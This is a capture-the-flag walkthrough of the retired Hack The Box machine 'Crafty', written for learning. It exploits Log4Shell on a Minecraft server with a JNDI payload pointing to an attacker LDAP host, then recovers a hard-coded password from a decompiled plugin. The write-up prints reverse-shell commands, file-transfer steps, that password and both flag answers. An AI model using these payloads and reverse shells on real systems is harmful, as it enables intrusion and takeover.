Crafty (Easy)

Description

• Difficult -> Easy

• OS -> Windows

• State -> Retired

• Tags -> Web Application / Injections / Common Applications / Remote Code Execution / Hard-coded Credentials / Batch / Java

https://app.hackthebox.com/machines/587

Write-up

• I started doing an initial port scan using Nmap

nmap -p- -Pn --min-rate 2500 -oN scan.txt 10.129.230.193

---

• Then I did an exhaustive scan to learn more about the services running on the open ports

nmap -p80,25565 -sVC -oN serv_scan.txt 10.129.230.193

---

• I found an HTTP service on port 80 so I tried accessing the content on the browser. I got redirected to the crafty.htb domain but couldn't get the content. So I added it to my list of known hosts in the /etc/hosts file and visited again this time having access to a page about a server for the popular game Minecraft

echo "10.129.230.193 crafty.htb" >> /etc/hosts

To learn more about the HTTP protocol you can go here

---

• I explored all the site buttons but got redirected to a Coming Soon page with no relevant info. The only interesting thing I found was a domain that with the context of the page should be for the Minecraft server that was running on the machine, as also the previous scan showed me

---

• As I didn't have the game, I tried finding an alternative way to interact with this server. After much searching, I found a repository with a console client to interact with the Minecraft servers, which would log some interactions and let me send commands as if I were in the game. I downloaded the last release on my machine and then executed the client specifying an arbitrary username with no password and the target IP

./MinecraftClient-20241227-281-linux-x64 KryptoCoder "" 10.129.230.193

---

• Now that I could interact with the server, I tried looking for any possible vulnerability related to this game version. After some research, I found an official notification about a previous security warning related to the Log4J login library. It was vulnerable to the well-known Log4Shell vulnerability, so I started to find a way to exploit it, and fortunately, to facilitate the process, I found a POC on GitHub

snippet

SNIPPET

---

• I downloaded it, checked its structure, and noticed something I had to modify. In line 26 of the script, it was spawning a /bin/sh binary but changed it to powershell.exe as our target was a Windows machine. Then I set a listener with Netcat to catch the connection and reviewed the parameters needed, setting my IP to make the petition, an arbitrary port where the web server will be deployed, and the port where the listener was running

nc -nvlp 4444
python3 poc.py --userip 10.10.14.137 --webport 8080 --lport 4444

To learn more about the Log4Shell vulnerability and its exploitation you can go here

---

• After executing it I got several errors related to Java. I didn't understand what was wrong, so I reviewed the repository again and noticed that for this script to work, I would need a proper JDK version in the repository. So I did that, with the JDK folder in the same place that the script was, I re-run it this time deploying everything without a problem

---

• After that I inserted the payload for the JNDI communication in the client and checked the script where I was notified about getting a request, confirming the petition was sent properly, and also checking the listener, I had caught a shell from the machine

#Into the console client
> ${jndi:ldap://10.10.14.9:1389/a}

---

• Once inside I went to the Desktop of the user where I found a user.txt file and reading its content I retrieved the user flag

---

• With that, I got the user flag

Answer: 286dda4cbcfb299d664f02c2511a543

---

• To find a way to escalate privileges I started looking at the files under the server's folder. There I found files related to logs and configurations, but what caught my attention was the plugins folder, as they are usually added externally from the base software and are well-known for being vulnerable on various types of applications. Checking the content of this folder there was a playercounter plugin that could be saving some interesting data about users

---

• I checked the permissions we had on the folder but we didn't have writing permissions so we couldn't export or copy the content of the file. So I went to the root folder and created a Temp folder which will give me this advantage, then copied the file there and used certutil to encode its content to base64 to prepare it for the transfer

icacls playercounter-1.0-SNAPSHOT.jar
cd C:\
New-Item Temp -ItempType Directory
Copy-Item C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar .\plugin.jar
certutil -encode plugin.jar b64.txt
type b64.txt

---

• Having the encoded content, I copied it to a file on my machine and reverted the encoding process with the base64 command, saving its content again to a .jar file to have again the same file. Then I searched on the web for a Java Decompiler and uploaded the file being able to see the source code of the executable

nano plugin.txt #Here we paste the b64 string
cat plugin.txt | base64 -d > plugin.jar
file plugin.jar

---

• I understood that this plugin was connecting to a rcon service and logging in locally using the s67uB4zKqBIXw password and then doing the counting process. This leaked a possible password for a user under the system, maybe for the Administrator user. So to try logging in or even better to run commands as another user, I could try using the RunasCs utility. To do so, I downloaded the binary on my machine and exported it to the target

#On my machine
python3 -m http.server 8000

#On the target machine
wget http://10.10.14.10:8000/RunasCs.exe -outFile RunasCs.exe

---

• Then I set another Netcat listener and tried using the binary to generate a Reverse Shell spawning a PowerShell that would connect to my machine specifying the proper credentials. With that, I successfully gained a shell as the Administrator user

#On my machine
nc -nvlp 7777

#On the target machine
.\RunasCs.exe Administrator s67uB4zKqBIXw powershell.exe -r 10.10.14.10:7777

---

• Finally, I went to the Desktop folder where I found a root.txt file, and reading its content I retrieved the root flag

---

• With that, I got the root flag and pwned the machine

Answer: ccd0681e8e2d4988e392984202922be3